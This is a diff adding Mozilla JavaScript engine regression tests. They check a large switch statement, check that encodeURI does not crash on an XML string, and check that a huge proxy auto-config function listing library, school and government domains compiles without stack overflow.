+ case 2876: if (n[2876]++ > 0) check ('a string 2876'); break;
+ case 2877: if (n[2877]++ > 0) check ('a string 2877'); break;
+ case 2878: if (n[2878]++ > 0) check ('a string 2878'); break;
+ case 2879: if (n[2879]++ > 0) check ('a string 2879'); break;
+ case 2880: if (n[2880]++ > 0) check ('a string 2880'); break;
+ case 2881: if (n[2881]++ > 0) check ('a string 2881'); break;
+ case 2882: if (n[2882]++ > 0) check ('a string 2882'); break;
+ case 2883: if (n[2883]++ > 0) check ('a string 2883'); break;
+ case 2884: if (n[2884]++ > 0) check ('a string 2884'); break;
+ case 2885: if (n[2885]++ > 0) check ('a string 2885'); break;
+ case 2886: if (n[2886]++ > 0) check ('a string 2886'); break;
+ case 2887: if (n[2887]++ > 0) check ('a string 2887'); break;
+ case 2888: if (n[2888]++ > 0) check ('a string 2888'); break;
+ case 2889: if (n[2889]++ > 0) check ('a string 2889'); break;
+ case 2890: if (n[2890]++ > 0) check ('a string 2890'); break;
+ case 2891: if (n[2891]++ > 0) check ('a string 2891'); break;
+ case 2892: if (n[2892]++ > 0) check ('a string 2892'); break;
+ case 2893: if (n[2893]++ > 0) check ('a string 2893'); break;
+ case 2894: if (n[2894]++ > 0) check ('a string 2894'); break;
+ case 2895: if (n[2895]++ > 0) check ('a string 2895'); break;
+ case 2896: if (n[2896]++ > 0) check ('a string 2896'); break;
+ case 2897: if (n[2897]++ > 0) check ('a string 2897'); break;
+ case 2898: if (n[2898]++ > 0) check ('a string 2898'); break;
+ case 2899: if (n[2899]++ > 0) check ('a string 2899'); break;
+ case 2900: if (n[2900]++ > 0) check ('a string 2900'); break;
+ case 2901: if (n[2901]++ > 0) check ('a string 2901'); break;
+ case 2902: if (n[2902]++ > 0) check ('a string 2902'); break;
+ case 2903: if (n[2903]++ > 0) check ('a string 2903'); break;
+ case 2904: if (n[2904]++ > 0) check ('a string 2904'); break;
+ case 2905: if (n[2905]++ > 0) check ('a string 2905'); break;
+ case 2906: if (n[2906]++ > 0) check ('a string 2906'); break;
+ case 2907: if (n[2907]++ > 0) check ('a string 2907'); break;
+ case 2908: if (n[2908]++ > 0) check ('a string 2908'); break;
+ case 2909: if (n[2909]++ > 0) check ('a string 2909'); break;
+ case 2910: if (n[2910]++ > 0) check ('a string 2910'); break;
+ case 2911: if (n[2911]++ > 0) check ('a string 2911'); break;
+ case 2912: if (n[2912]++ > 0) check ('a string 2912'); break;
+ case 2913: if (n[2913]++ > 0) check ('a string 2913'); break;
+ case 2914: if (n[2914]++ > 0) check ('a string 2914'); break;
+ case 2915: if (n[2915]++ > 0) check ('a string 2915'); break;
+ case 2916: if (n[2916]++ > 0) check ('a string 2916'); break;
+ case 2917: if (n[2917]++ > 0) check ('a string 2917'); break;
+ case 2918: if (n[2918]++ > 0) check ('a string 2918'); break;
+ case 2919: if (n[2919]++ > 0) check ('a string 2919'); break;
+ case 2920: if (n[2920]++ > 0) check ('a string 2920'); break;
+ case 2921: if (n[2921]++ > 0) check ('a string 2921'); break;
+ case 2922: if (n[2922]++ > 0) check ('a string 2922'); break;
+ case 2923: if (n[2923]++ > 0) check ('a string 2923'); break;
+ case 2924: if (n[2924]++ > 0) check ('a string 2924'); break;
+ case 2925: if (n[2925]++ > 0) check ('a string 2925'); break;
+ case 2926: if (n[2926]++ > 0) check ('a string 2926'); break;
+ case 2927: if (n[2927]++ > 0) check ('a string 2927'); break;
+ case 2928: if (n[2928]++ > 0) check ('a string 2928'); break;
+ case 2929: if (n[2929]++ > 0) check ('a string 2929'); break;
+ case 2930: if (n[2930]++ > 0) check ('a string 2930'); break;
+ case 2931: if (n[2931]++ > 0) check ('a string 2931'); break;
+ case 2932: if (n[2932]++ > 0) check ('a string 2932'); break;
+ case 2933: if (n[2933]++ > 0) check ('a string 2933'); break;
+ case 2934: if (n[2934]++ > 0) check ('a string 2934'); break;
+ case 2935: if (n[2935]++ > 0) check ('a string 2935'); break;
+ case 2936: if (n[2936]++ > 0) check ('a string 2936'); break;
+ case 2937: if (n[2937]++ > 0) check ('a string 2937'); break;
+ case 2938: if (n[2938]++ > 0) check ('a string 2938'); break;
+ case 2939: if (n[2939]++ > 0) check ('a string 2939'); break;
+ case 2940: if (n[2940]++ > 0) check ('a string 2940'); break;
+ case 2941: if (n[2941]++ > 0) check ('a string 2941'); break;
+ case 2942: if (n[2942]++ > 0) check ('a string 2942'); break;
+ case 2943: if (n[2943]++ > 0) check ('a string 2943'); break;
+ case 2944: if (n[2944]++ > 0) check ('a string 2944'); break;
+ case 2945: if (n[2945]++ > 0) check ('a string 2945'); break;
+ case 2946: if (n[2946]++ > 0) check ('a string 2946'); break;
+ case 2947: if (n[2947]++ > 0) check ('a string 2947'); break;
+ case 2948: if (n[2948]++ > 0) check ('a string 2948'); break;
+ case 2949: if (n[2949]++ > 0) check ('a string 2949'); break;
+ case 2950: if (n[2950]++ > 0) check ('a string 2950'); break;
+ case 2951: if (n[2951]++ > 0) check ('a string 2951'); break;
+ case 2952: if (n[2952]++ > 0) check ('a string 2952'); break;
+ case 2953: if (n[2953]++ > 0) check ('a string 2953'); break;
+ case 2954: if (n[2954]++ > 0) check ('a string 2954'); break;
+ case 2955: if (n[2955]++ > 0) check ('a string 2955'); break;
+ case 2956: if (n[2956]++ > 0) check ('a string 2956'); break;
+ case 2957: if (n[2957]++ > 0) check ('a string 2957'); break;
+ case 2958: if (n[2958]++ > 0) check ('a string 2958'); break;
+ case 2959: if (n[2959]++ > 0) check ('a string 2959'); break;
+ case 2960: if (n[2960]++ > 0) check ('a string 2960'); break;
+ case 2961: if (n[2961]++ > 0) check ('a string 2961'); break;
+ case 2962: if (n[2962]++ > 0) check ('a string 2962'); break;
+ case 2963: if (n[2963]++ > 0) check ('a string 2963'); break;
+ case 2964: if (n[2964]++ > 0) check ('a string 2964'); break;
+ case 2965: if (n[2965]++ > 0) check ('a string 2965'); break;
+ case 2966: if (n[2966]++ > 0) check ('a string 2966'); break;
+ case 2967: if (n[2967]++ > 0) check ('a string 2967'); break;
+ case 2968: if (n[2968]++ > 0) check ('a string 2968'); break;
+ case 2969: if (n[2969]++ > 0) check ('a string 2969'); break;
+ case 2970: if (n[2970]++ > 0) check ('a string 2970'); break;
+ case 2971: if (n[2971]++ > 0) check ('a string 2971'); break;
+ case 2972: if (n[2972]++ > 0) check ('a string 2972'); break;
+ case 2973: if (n[2973]++ > 0) check ('a string 2973'); break;
+ case 2974: if (n[2974]++ > 0) check ('a string 2974'); break;
+ case 2975: if (n[2975]++ > 0) check ('a string 2975'); break;
+ case 2976: if (n[2976]++ > 0) check ('a string 2976'); break;
+ case 2977: if (n[2977]++ > 0) check ('a string 2977'); break;
+ case 2978: if (n[2978]++ > 0) check ('a string 2978'); break;
+ case 2979: if (n[2979]++ > 0) check ('a string 2979'); break;
+ case 2980: if (n[2980]++ > 0) check ('a string 2980'); break;
+ case 2981: if (n[2981]++ > 0) check ('a string 2981'); break;
+ case 2982: if (n[2982]++ > 0) check ('a string 2982'); break;
+ case 2983: if (n[2983]++ > 0) check ('a string 2983'); break;
+ case 2984: if (n[2984]++ > 0) check ('a string 2984'); break;
+ case 2985: if (n[2985]++ > 0) check ('a string 2985'); break;
+ case 2986: if (n[2986]++ > 0) check ('a string 2986'); break;
+ case 2987: if (n[2987]++ > 0) check ('a string 2987'); break;
+ case 2988: if (n[2988]++ > 0) check ('a string 2988'); break;
+ case 2989: if (n[2989]++ > 0) check ('a string 2989'); break;
+ case 2990: if (n[2990]++ > 0) check ('a string 2990'); break;
+ case 2991: if (n[2991]++ > 0) check ('a string 2991'); break;
+ case 2992: if (n[2992]++ > 0) check ('a string 2992'); break;
+ case 2993: if (n[2993]++ > 0) check ('a string 2993'); break;
+ case 2994: if (n[2994]++ > 0) check ('a string 2994'); break;
+ case 2995: if (n[2995]++ > 0) check ('a string 2995'); break;
+ case 2996: if (n[2996]++ > 0) check ('a string 2996'); break;
+ case 2997: if (n[2997]++ > 0) check ('a string 2997'); break;
+ case 2998: if (n[2998]++ > 0) check ('a string 2998'); break;
+ case 2999: if (n[2999]++ > 0) check ('a string 2999'); break;
+ case 3000: if (n[3000]++ > 0) check ('a string 3000'); break;
+ case 3001: if (n[3001]++ > 0) check ('a string 3001'); break;
+ case 3002: if (n[3002]++ > 0) check ('a string 3002'); break;
+ case 3003: if (n[3003]++ > 0) check ('a string 3003'); break;
+ case 3004: if (n[3004]++ > 0) check ('a string 3004'); break;
+ case 3005: if (n[3005]++ > 0) check ('a string 3005'); break;
+ case 3006: if (n[3006]++ > 0) check ('a string 3006'); break;
+ case 3007: if (n[3007]++ > 0) check ('a string 3007'); break;
+ case 3008: if (n[3008]++ > 0) check ('a string 3008'); break;
+ case 3009: if (n[3009]++ > 0) check ('a string 3009'); break;
+ default : if (n[3010]++ > 0) check ('a string 3010'); break;
+ }
+ }
+
+ b4();
+ b_after();
+}
+
+
+function check(status)
+{
+ print('k = ' + k + ' j = ' + j + ' ' + status);
+
+ for (i = 0; i < i2; i++)
+ {
+ if (n[i] != 1)
+ {
+ print('n[' + i + '] = ' + n[i]);
+ if (i != j)
+ {
+ print('Test failed');
+ err_num++;
+ break;
+ }
+ }
+ }
+}
+
+
+function b4()
+{
+ print('Visited b4');
+}
+
+
+function b_after()
+{
+ print('Visited b_after');
+}
+
+reportCompare('No Error', 'No Error', '');
diff --git a/js/src/tests/js1_5/Regress/regress-82306.js b/js/src/tests/js1_5/Regress/regress-82306.js
new file mode 100644
index 000000000..a4a8a9f95
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-82306.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 23 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 82306
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=82306
+ *
+ * This test used to crash the JS engine. This was discovered
+ * by Mike Epstein <epstein@tellme.com>
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 82306;
+var summary = "Testing we don't crash on encodeURI()";
+var URI = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ URI += '<?xml version="1.0"?>';
+ URI += '<zcti application="xxxx_demo">';
+ URI += '<pstn_data>';
+ URI += '<ani>650-930-xxxx</ani>';
+ URI += '<dnis>877-485-xxxx</dnis>';
+ URI += '</pstn_data>';
+ URI += '<keyvalue key="name" value="xxx"/>';
+ URI += '<keyvalue key="phone" value="6509309000"/>';
+ URI += '</zcti>';
+
+ // Just testing that we don't crash on this
+ encodeURI(URI);
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-89443.js b/js/src/tests/js1_5/Regress/regress-89443.js
new file mode 100644
index 000000000..6307355c0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-89443.js
@@ -0,0 +1,2119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
+ * SUMMARY: Regression test for bug 89443
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89443
+ *
+ * Just seeing if this script will compile without stack overflow.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89443;
+var summary = 'Testing this script will compile without stack overflow';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// I don't know what these functions are supposed to be; use dummies -
+function isPlainHostName()
+{
+}
+
+function dnsDomainIs()
+{
+}
+
+// Here's the big function -
+function FindProxyForURL(url, host)
+{
+
+ if (isPlainHostName(host)
+ || dnsDomainIs(host, ".hennepin.lib.mn.us")
+ || dnsDomainIs(host, ".hclib.org")
+ )
+ return "DIRECT";
+ else if (isPlainHostName(host)
+
+// subscription database access
+
+ || dnsDomainIs(host, ".asahi.com")
+ || dnsDomainIs(host, ".2facts.com")
+ || dnsDomainIs(host, ".oclc.org")
+ || dnsDomainIs(host, ".collegesource.com")
+ || dnsDomainIs(host, ".cq.com")
+ || dnsDomainIs(host, ".grolier.com")
+ || dnsDomainIs(host, ".groveart.com")
+ || dnsDomainIs(host, ".groveopera.com")
+ || dnsDomainIs(host, ".fsonline.com")
+ || dnsDomainIs(host, ".carl.org")
+ || dnsDomainIs(host, ".newslibrary.com")
+ || dnsDomainIs(host, ".pioneerplanet.com")
+ || dnsDomainIs(host, ".startribune.com")
+ || dnsDomainIs(host, ".poemfinder.com")
+ || dnsDomainIs(host, ".umi.com")
+ || dnsDomainIs(host, ".referenceusa.com")
+ || dnsDomainIs(host, ".sirs.com")
+ || dnsDomainIs(host, ".krmediastream.com")
+ || dnsDomainIs(host, ".gale.com")
+ || dnsDomainIs(host, ".galenet.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".facts.com")
+ || dnsDomainIs(host, ".eb.com")
+ || dnsDomainIs(host, ".worldbookonline.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".accessscience.com")
+ || dnsDomainIs(host, ".booksinprint.com")
+ || dnsDomainIs(host, ".infolearning.com")
+ || dnsDomainIs(host, ".standardpoor.com")
+
+// image servers
+ || dnsDomainIs(host, ".akamaitech.net")
+ || dnsDomainIs(host, ".akamai.net")
+ || dnsDomainIs(host, ".yimg.com")
+ || dnsDomainIs(host, ".imgis.com")
+ || dnsDomainIs(host, ".ibsys.com")
+
+// KidsClick-linked kids search engines
+ || dnsDomainIs(host, ".edview.com")
+ || dnsDomainIs(host, ".searchopolis.com")
+ || dnsDomainIs(host, ".onekey.com")
+ || dnsDomainIs(host, ".askjeeves.com")
+
+// Non-subscription Reference Tools URLs from the RecWebSites DBData table
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "terraserver.microsoft.com")
+ || dnsDomainIs(host, "www.theodora.com")
+ || dnsDomainIs(host, "www.3datlas.com")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.switchboard.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.mn-politics.com")
+ || dnsDomainIs(host, "www.thesaurus.com")
+ || dnsDomainIs(host, "www.usnews.com")
+ || dnsDomainIs(host, "www.petersons.com")
+ || dnsDomainIs(host, "www.collegenet.com")
+ || dnsDomainIs(host, "www.m-w.com")
+ || dnsDomainIs(host, "clever.net")
+ || dnsDomainIs(host, "maps.expedia.com")
+ || dnsDomainIs(host, "www.CollegeEdge.com")
+ || dnsDomainIs(host, "www.homeworkcentral.com")
+ || dnsDomainIs(host, "www.studyweb.com")
+ || dnsDomainIs(host, "www.mnpro.com")
+
+// custom URLs for local and other access
+ || dnsDomainIs(host, ".dsdukes.com")
+ || dnsDomainIs(host, ".spsaints.com")
+ || dnsDomainIs(host, ".mnzoo.com")
+ || dnsDomainIs(host, ".realaudio.com")
+ || dnsDomainIs(host, ".co.hennepin.mn.us")
+ || dnsDomainIs(host, ".gov")
+ || dnsDomainIs(host, ".org")
+ || dnsDomainIs(host, ".edu")
+ || dnsDomainIs(host, ".fox29.com")
+ || dnsDomainIs(host, ".wcco.com")
+ || dnsDomainIs(host, ".kstp.com")
+ || dnsDomainIs(host, ".kmsp.com")
+ || dnsDomainIs(host, ".kare11.com")
+ || dnsDomainIs(host, ".macromedia.com")
+ || dnsDomainIs(host, ".shockwave.com")
+ || dnsDomainIs(host, ".wwf.com")
+ || dnsDomainIs(host, ".wwfsuperstars.com")
+ || dnsDomainIs(host, ".summerslam.com")
+ || dnsDomainIs(host, ".yahooligans.com")
+ || dnsDomainIs(host, ".mhoob.com")
+ || dnsDomainIs(host, "www.hmonginternet.com")
+ || dnsDomainIs(host, "www.hmongonline.com")
+ || dnsDomainIs(host, ".yahoo.com")
+ || dnsDomainIs(host, ".pokemon.com")
+ || dnsDomainIs(host, ".bet.com")
+ || dnsDomainIs(host, ".smallworld.com")
+ || dnsDomainIs(host, ".cartoonnetwork.com")
+ || dnsDomainIs(host, ".carmensandiego.com")
+ || dnsDomainIs(host, ".disney.com")
+ || dnsDomainIs(host, ".powerpuffgirls.com")
+ || dnsDomainIs(host, ".aol.com")
+
+// Smithsonian
+ || dnsDomainIs(host, "160.111.100.190")
+
+// Hotmail
+ || dnsDomainIs(host, ".passport.com")
+ || dnsDomainIs(host, ".hotmail.com")
+ || dnsDomainIs(host, "216.33.236.24")
+ || dnsDomainIs(host, "216.32.182.251")
+ || dnsDomainIs(host, ".hotmail.msn.com")
+
+// K12 schools
+ || dnsDomainIs(host, ".k12.al.us")
+ || dnsDomainIs(host, ".k12.ak.us")
+ || dnsDomainIs(host, ".k12.ar.us")
+ || dnsDomainIs(host, ".k12.az.us")
+ || dnsDomainIs(host, ".k12.ca.us")
+ || dnsDomainIs(host, ".k12.co.us")
+ || dnsDomainIs(host, ".k12.ct.us")
+ || dnsDomainIs(host, ".k12.dc.us")
+ || dnsDomainIs(host, ".k12.de.us")
+ || dnsDomainIs(host, ".k12.fl.us")
+ || dnsDomainIs(host, ".k12.ga.us")
+ || dnsDomainIs(host, ".k12.hi.us")
+ || dnsDomainIs(host, ".k12.id.us")
+ || dnsDomainIs(host, ".k12.il.us")
+ || dnsDomainIs(host, ".k12.in.us")
+ || dnsDomainIs(host, ".k12.ia.us")
+ || dnsDomainIs(host, ".k12.ks.us")
+ || dnsDomainIs(host, ".k12.ky.us")
+ || dnsDomainIs(host, ".k12.la.us")
+ || dnsDomainIs(host, ".k12.me.us")
+ || dnsDomainIs(host, ".k12.md.us")
+ || dnsDomainIs(host, ".k12.ma.us")
+ || dnsDomainIs(host, ".k12.mi.us")
+ || dnsDomainIs(host, ".k12.mn.us")
+ || dnsDomainIs(host, ".k12.ms.us")
+ || dnsDomainIs(host, ".k12.mo.us")
+ || dnsDomainIs(host, ".k12.mt.us")
+ || dnsDomainIs(host, ".k12.ne.us")
+ || dnsDomainIs(host, ".k12.nv.us")
+ || dnsDomainIs(host, ".k12.nh.us")
+ || dnsDomainIs(host, ".k12.nj.us")
+ || dnsDomainIs(host, ".k12.nm.us")
+ || dnsDomainIs(host, ".k12.ny.us")
+ || dnsDomainIs(host, ".k12.nc.us")
+ || dnsDomainIs(host, ".k12.nd.us")
+ || dnsDomainIs(host, ".k12.oh.us")
+ || dnsDomainIs(host, ".k12.ok.us")
+ || dnsDomainIs(host, ".k12.or.us")
+ || dnsDomainIs(host, ".k12.pa.us")
+ || dnsDomainIs(host, ".k12.ri.us")
+ || dnsDomainIs(host, ".k12.sc.us")
+ || dnsDomainIs(host, ".k12.sd.us")
+ || dnsDomainIs(host, ".k12.tn.us")
+ || dnsDomainIs(host, ".k12.tx.us")
+ || dnsDomainIs(host, ".k12.ut.us")
+ || dnsDomainIs(host, ".k12.vt.us")
+ || dnsDomainIs(host, ".k12.va.us")
+ || dnsDomainIs(host, ".k12.wa.us")
+ || dnsDomainIs(host, ".k12.wv.us")
+ || dnsDomainIs(host, ".k12.wi.us")
+ || dnsDomainIs(host, ".k12.wy.us")
+
+// U.S. Libraries
+ || dnsDomainIs(host, ".lib.al.us")
+ || dnsDomainIs(host, ".lib.ak.us")
+ || dnsDomainIs(host, ".lib.ar.us")
+ || dnsDomainIs(host, ".lib.az.us")
+ || dnsDomainIs(host, ".lib.ca.us")
+ || dnsDomainIs(host, ".lib.co.us")
+ || dnsDomainIs(host, ".lib.ct.us")
+ || dnsDomainIs(host, ".lib.dc.us")
+ || dnsDomainIs(host, ".lib.de.us")
+ || dnsDomainIs(host, ".lib.fl.us")
+ || dnsDomainIs(host, ".lib.ga.us")
+ || dnsDomainIs(host, ".lib.hi.us")
+ || dnsDomainIs(host, ".lib.id.us")
+ || dnsDomainIs(host, ".lib.il.us")
+ || dnsDomainIs(host, ".lib.in.us")
+ || dnsDomainIs(host, ".lib.ia.us")
+ || dnsDomainIs(host, ".lib.ks.us")
+ || dnsDomainIs(host, ".lib.ky.us")
+ || dnsDomainIs(host, ".lib.la.us")
+ || dnsDomainIs(host, ".lib.me.us")
+ || dnsDomainIs(host, ".lib.md.us")
+ || dnsDomainIs(host, ".lib.ma.us")
+ || dnsDomainIs(host, ".lib.mi.us")
+ || dnsDomainIs(host, ".lib.mn.us")
+ || dnsDomainIs(host, ".lib.ms.us")
+ || dnsDomainIs(host, ".lib.mo.us")
+ || dnsDomainIs(host, ".lib.mt.us")
+ || dnsDomainIs(host, ".lib.ne.us")
+ || dnsDomainIs(host, ".lib.nv.us")
+ || dnsDomainIs(host, ".lib.nh.us")
+ || dnsDomainIs(host, ".lib.nj.us")
+ || dnsDomainIs(host, ".lib.nm.us")
+ || dnsDomainIs(host, ".lib.ny.us")
+ || dnsDomainIs(host, ".lib.nc.us")
+ || dnsDomainIs(host, ".lib.nd.us")
+ || dnsDomainIs(host, ".lib.oh.us")
+ || dnsDomainIs(host, ".lib.ok.us")
+ || dnsDomainIs(host, ".lib.or.us")
+ || dnsDomainIs(host, ".lib.pa.us")
+ || dnsDomainIs(host, ".lib.ri.us")
+ || dnsDomainIs(host, ".lib.sc.us")
+ || dnsDomainIs(host, ".lib.sd.us")
+ || dnsDomainIs(host, ".lib.tn.us")
+ || dnsDomainIs(host, ".lib.tx.us")
+ || dnsDomainIs(host, ".lib.ut.us")
+ || dnsDomainIs(host, ".lib.vt.us")
+ || dnsDomainIs(host, ".lib.va.us")
+ || dnsDomainIs(host, ".lib.wa.us")
+ || dnsDomainIs(host, ".lib.wv.us")
+ || dnsDomainIs(host, ".lib.wi.us")
+ || dnsDomainIs(host, ".lib.wy.us")
+
+// U.S. Cities
+ || dnsDomainIs(host, ".ci.al.us")
+ || dnsDomainIs(host, ".ci.ak.us")
+ || dnsDomainIs(host, ".ci.ar.us")
+ || dnsDomainIs(host, ".ci.az.us")
+ || dnsDomainIs(host, ".ci.ca.us")
+ || dnsDomainIs(host, ".ci.co.us")
+ || dnsDomainIs(host, ".ci.ct.us")
+ || dnsDomainIs(host, ".ci.dc.us")
+ || dnsDomainIs(host, ".ci.de.us")
+ || dnsDomainIs(host, ".ci.fl.us")
+ || dnsDomainIs(host, ".ci.ga.us")
+ || dnsDomainIs(host, ".ci.hi.us")
+ || dnsDomainIs(host, ".ci.id.us")
+ || dnsDomainIs(host, ".ci.il.us")
+ || dnsDomainIs(host, ".ci.in.us")
+ || dnsDomainIs(host, ".ci.ia.us")
+ || dnsDomainIs(host, ".ci.ks.us")
+ || dnsDomainIs(host, ".ci.ky.us")
+ || dnsDomainIs(host, ".ci.la.us")
+ || dnsDomainIs(host, ".ci.me.us")
+ || dnsDomainIs(host, ".ci.md.us")
+ || dnsDomainIs(host, ".ci.ma.us")
+ || dnsDomainIs(host, ".ci.mi.us")
+ || dnsDomainIs(host, ".ci.mn.us")
+ || dnsDomainIs(host, ".ci.ms.us")
+ || dnsDomainIs(host, ".ci.mo.us")
+ || dnsDomainIs(host, ".ci.mt.us")
+ || dnsDomainIs(host, ".ci.ne.us")
+ || dnsDomainIs(host, ".ci.nv.us")
+ || dnsDomainIs(host, ".ci.nh.us")
+ || dnsDomainIs(host, ".ci.nj.us")
+ || dnsDomainIs(host, ".ci.nm.us")
+ || dnsDomainIs(host, ".ci.ny.us")
+ || dnsDomainIs(host, ".ci.nc.us")
+ || dnsDomainIs(host, ".ci.nd.us")
+ || dnsDomainIs(host, ".ci.oh.us")
+ || dnsDomainIs(host, ".ci.ok.us")
+ || dnsDomainIs(host, ".ci.or.us")
+ || dnsDomainIs(host, ".ci.pa.us")
+ || dnsDomainIs(host, ".ci.ri.us")
+ || dnsDomainIs(host, ".ci.sc.us")
+ || dnsDomainIs(host, ".ci.sd.us")
+ || dnsDomainIs(host, ".ci.tn.us")
+ || dnsDomainIs(host, ".ci.tx.us")
+ || dnsDomainIs(host, ".ci.ut.us")
+ || dnsDomainIs(host, ".ci.vt.us")
+ || dnsDomainIs(host, ".ci.va.us")
+ || dnsDomainIs(host, ".ci.wa.us")
+ || dnsDomainIs(host, ".ci.wv.us")
+ || dnsDomainIs(host, ".ci.wi.us")
+ || dnsDomainIs(host, ".ci.wy.us")
+
+// U.S. Counties
+ || dnsDomainIs(host, ".co.al.us")
+ || dnsDomainIs(host, ".co.ak.us")
+ || dnsDomainIs(host, ".co.ar.us")
+ || dnsDomainIs(host, ".co.az.us")
+ || dnsDomainIs(host, ".co.ca.us")
+ || dnsDomainIs(host, ".co.co.us")
+ || dnsDomainIs(host, ".co.ct.us")
+ || dnsDomainIs(host, ".co.dc.us")
+ || dnsDomainIs(host, ".co.de.us")
+ || dnsDomainIs(host, ".co.fl.us")
+ || dnsDomainIs(host, ".co.ga.us")
+ || dnsDomainIs(host, ".co.hi.us")
+ || dnsDomainIs(host, ".co.id.us")
+ || dnsDomainIs(host, ".co.il.us")
+ || dnsDomainIs(host, ".co.in.us")
+ || dnsDomainIs(host, ".co.ia.us")
+ || dnsDomainIs(host, ".co.ks.us")
+ || dnsDomainIs(host, ".co.ky.us")
+ || dnsDomainIs(host, ".co.la.us")
+ || dnsDomainIs(host, ".co.me.us")
+ || dnsDomainIs(host, ".co.md.us")
+ || dnsDomainIs(host, ".co.ma.us")
+ || dnsDomainIs(host, ".co.mi.us")
+ || dnsDomainIs(host, ".co.mn.us")
+ || dnsDomainIs(host, ".co.ms.us")
+ || dnsDomainIs(host, ".co.mo.us")
+ || dnsDomainIs(host, ".co.mt.us")
+ || dnsDomainIs(host, ".co.ne.us")
+ || dnsDomainIs(host, ".co.nv.us")
+ || dnsDomainIs(host, ".co.nh.us")
+ || dnsDomainIs(host, ".co.nj.us")
+ || dnsDomainIs(host, ".co.nm.us")
+ || dnsDomainIs(host, ".co.ny.us")
+ || dnsDomainIs(host, ".co.nc.us")
+ || dnsDomainIs(host, ".co.nd.us")
+ || dnsDomainIs(host, ".co.oh.us")
+ || dnsDomainIs(host, ".co.ok.us")
+ || dnsDomainIs(host, ".co.or.us")
+ || dnsDomainIs(host, ".co.pa.us")
+ || dnsDomainIs(host, ".co.ri.us")
+ || dnsDomainIs(host, ".co.sc.us")
+ || dnsDomainIs(host, ".co.sd.us")
+ || dnsDomainIs(host, ".co.tn.us")
+ || dnsDomainIs(host, ".co.tx.us")
+ || dnsDomainIs(host, ".co.ut.us")
+ || dnsDomainIs(host, ".co.vt.us")
+ || dnsDomainIs(host, ".co.va.us")
+ || dnsDomainIs(host, ".co.wa.us")
+ || dnsDomainIs(host, ".co.wv.us")
+ || dnsDomainIs(host, ".co.wi.us")
+ || dnsDomainIs(host, ".co.wy.us")
+
+// U.S. States
+ || dnsDomainIs(host, ".state.al.us")
+ || dnsDomainIs(host, ".state.ak.us")
+ || dnsDomainIs(host, ".state.ar.us")
+ || dnsDomainIs(host, ".state.az.us")
+ || dnsDomainIs(host, ".state.ca.us")
+ || dnsDomainIs(host, ".state.co.us")
+ || dnsDomainIs(host, ".state.ct.us")
+ || dnsDomainIs(host, ".state.dc.us")
+ || dnsDomainIs(host, ".state.de.us")
+ || dnsDomainIs(host, ".state.fl.us")
+ || dnsDomainIs(host, ".state.ga.us")
+ || dnsDomainIs(host, ".state.hi.us")
+ || dnsDomainIs(host, ".state.id.us")
+ || dnsDomainIs(host, ".state.il.us")
+ || dnsDomainIs(host, ".state.in.us")
+ || dnsDomainIs(host, ".state.ia.us")
+ || dnsDomainIs(host, ".state.ks.us")
+ || dnsDomainIs(host, ".state.ky.us")
+ || dnsDomainIs(host, ".state.la.us")
+ || dnsDomainIs(host, ".state.me.us")
+ || dnsDomainIs(host, ".state.md.us")
+ || dnsDomainIs(host, ".state.ma.us")
+ || dnsDomainIs(host, ".state.mi.us")
+ || dnsDomainIs(host, ".state.mn.us")
+ || dnsDomainIs(host, ".state.ms.us")
+ || dnsDomainIs(host, ".state.mo.us")
+ || dnsDomainIs(host, ".state.mt.us")
+ || dnsDomainIs(host, ".state.ne.us")
+ || dnsDomainIs(host, ".state.nv.us")
+ || dnsDomainIs(host, ".state.nh.us")
+ || dnsDomainIs(host, ".state.nj.us")
+ || dnsDomainIs(host, ".state.nm.us")
+ || dnsDomainIs(host, ".state.ny.us")
+ || dnsDomainIs(host, ".state.nc.us")
+ || dnsDomainIs(host, ".state.nd.us")
+ || dnsDomainIs(host, ".state.oh.us")
+ || dnsDomainIs(host, ".state.ok.us")
+ || dnsDomainIs(host, ".state.or.us")
+ || dnsDomainIs(host, ".state.pa.us")
+ || dnsDomainIs(host, ".state.ri.us")
+ || dnsDomainIs(host, ".state.sc.us")
+ || dnsDomainIs(host, ".state.sd.us")
+ || dnsDomainIs(host, ".state.tn.us")
+ || dnsDomainIs(host, ".state.tx.us")
+ || dnsDomainIs(host, ".state.ut.us")
+ || dnsDomainIs(host, ".state.vt.us")
+ || dnsDomainIs(host, ".state.va.us")
+ || dnsDomainIs(host, ".state.wa.us")
+ || dnsDomainIs(host, ".state.wv.us")
+ || dnsDomainIs(host, ".state.wi.us")
+ || dnsDomainIs(host, ".state.wy.us")
+
+// KidsClick URLs
+
+ || dnsDomainIs(host, "12.16.163.163")
+ || dnsDomainIs(host, "128.59.173.136")
+ || dnsDomainIs(host, "165.112.78.61")
+ || dnsDomainIs(host, "216.55.23.140")
+ || dnsDomainIs(host, "63.111.53.150")
